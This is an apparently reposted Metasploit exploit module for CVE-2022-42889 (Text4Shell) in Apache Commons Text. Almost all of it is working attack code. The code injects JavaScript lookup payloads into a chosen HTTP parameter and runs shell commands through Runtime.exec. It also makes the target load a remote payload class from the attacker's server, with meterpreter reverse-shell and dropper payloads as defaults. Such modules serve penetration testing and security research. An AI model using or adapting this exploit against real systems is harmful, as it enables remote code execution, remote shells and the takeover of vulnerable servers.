Share
## https://sploitus.com/exploit?id=PACKETSTORM:176650
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
include Msf::Exploit::Remote::Java::HTTP::ClassLoader  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Apache Commons Text RCE',  
'Description' => %q{  
This exploit takes advantage of the StringSubstitutor interpolator class,  
which is included in the Commons Text library. A default interpolator  
allows for string lookups that can lead to Remote Code Execution. This  
is due to a logic flaw that makes the “script”, “dns” and “url” lookup  
keys interpolated by default, as opposed to what it should be, according  
to the documentation of the StringLookupFactory class. Those keys allow  
an attacker to execute arbitrary code via lookups primarily using the  
"script" key.  
  
In order to exploit the vulnerabilities, the following requirements must  
be met:  
  
Run a version of Apache Commons Text from version 1.5 to 1.9  
Use the StringSubstitutor interpolator  
Target should run JDK < 15  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Alvaro Muñoz', # Original research  
'Karthik UJ', # PoC  
'Gaurav Jain', # Metasploit module  
],  
'References' => [  
['CVE', '2022-42889'],  
['URL', 'https://sysdig.com/blog/cve-2022-42889-text4shell/'],  
['URL', 'https://github.com/karthikuj/cve-2022-42889-text4shell-docker']  
],  
'Platform' => ['win', 'linux', 'unix', 'java'],  
'Targets' => [  
[  
'Java (in-memory)',  
{  
'Type' => :java,  
'Platform' => 'java',  
'Arch' => ARCH_JAVA,  
'DefaultOptions' => { 'Payload' => 'java/meterpreter/reverse_tcp' }  
},  
],  
[  
'Windows EXE Dropper',  
{  
'Platform' => 'win',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :windows_dropper,  
'DefaultOptions' => { 'Payload' => 'windows/x64/meterpreter/reverse_tcp' }  
}  
],  
[  
'Windows Command',  
{  
'Platform' => 'win',  
'Arch' => ARCH_CMD,  
'Type' => :windows_cmd,  
'DefaultOptions' => { 'Payload' => 'cmd/windows/powershell/meterpreter/reverse_tcp' }  
}  
],  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_jjs' }  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :linux_dropper,  
'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' }  
}  
]  
],  
'Privileged' => false,  
'DisclosureDate' => '2022-10-13',  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]  
}  
)  
)  
register_options([  
OptString.new('TARGETURI', [ true, 'The target URI', '/']),  
OptString.new('PARAM', [ true, 'The vulnerable parameter']),  
OptEnum.new('METHOD', [ true, 'The HTTP method to use', 'GET', ['GET', 'POST']])  
])  
end  
  
def check  
vprint_status("Checking if #{peer} can be exploited.")  
res = send_exp  
return CheckCode::Unknown('No response received from target.') unless res  
  
# blind command injection using sleep command  
sleep_time = rand(4..8)  
vprint_status("Performing command injection test issuing a sleep command of #{sleep_time} seconds.")  
_res, elapsed_time = Rex::Stopwatch.elapsed_time do  
send_exp("java.lang.Thread.sleep(#{sleep_time * 1000})")  
end  
vprint_status("Elapsed time: #{elapsed_time.round(2)} seconds.")  
return CheckCode::Safe('Command injection test failed.') unless elapsed_time >= sleep_time  
  
CheckCode::Vulnerable('Successfully tested command injection.')  
end  
  
def exploit  
case target['Type']  
when :java  
# Start the HTTP server to serve the payload  
start_service  
# Trigger a loadClass request via java.net.URLClassLoader  
trigger_urlclassloader  
# Handle the payload  
handler  
when :windows_cmd, :unix_cmd  
execute_command(payload.encoded)  
when :windows_dropper, :linux_dropper  
execute_cmdstager  
end  
end  
  
def trigger_urlclassloader  
url = get_uri  
  
vars = Rex::RandomIdentifier::Generator.new  
  
exp = "var #{vars[:str_arr]} = Java.type('java.lang.String[]');"  
exp << "var #{vars[:obj]} = new java.net.URLClassLoader([new java.net.URL(new java.lang.String(java.util.Base64.getDecoder().decode('#{Rex::Text.encode_base64(url)}')))]).loadClass('metasploit.Payload');"  
exp << "#{vars[:obj]}.getMethod('main', java.lang.Class.forName('[Ljava.lang.String;')).invoke(null, [new #{vars[:str_arr]}(1)]);"  
  
res = send_exp(exp)  
  
fail_with(Failure::Unreachable, 'No response received from the target') unless res  
fail_with(Failure::Unknown, 'An unknown error occurred') unless res.code == 200  
end  
  
def execute_command(cmd, _opts = {})  
vars = Rex::RandomIdentifier::Generator.new  
  
exp = "var #{vars[:arr]} = [#{win_target? ? '"cmd.exe", "/c"' : '"/bin/sh", "-c"'}, new java.lang.String(java.util.Base64.getDecoder().decode(\"#{Rex::Text.encode_base64(cmd)}\"))];"  
exp << "java.lang.Runtime.getRuntime().exec(#{vars[:arr]});"  
  
res = send_exp(exp)  
  
fail_with(Failure::Unreachable, 'No response received from the target') unless res  
fail_with(Failure::Unknown, 'An unknown error occurred') unless res.code == 200  
end  
  
def send_exp(exp = '')  
vars = datastore['METHOD'] == 'GET' ? 'vars_get' : 'vars_post'  
send_request_cgi(  
'method' => datastore['METHOD'],  
'uri' => normalize_uri(target_uri.path),  
  
vars => {  
datastore['PARAM'] => "${script:javascript:#{exp}}"  
}  
)  
end  
  
def win_target?  
target['Platform'] == 'win'  
end  
  
def on_request_uri(cli, request)  
case target['Type']  
when :java  
# Call method to handle java payload staging  
super(cli, request)  
else  
# Handle win/unix cmd staging  
client = cli.peerhost  
print_status("Client #{client} requested #{request.uri}")  
print_status("Sending payload to #{client}")  
send_response(cli, exe)  
end  
end  
end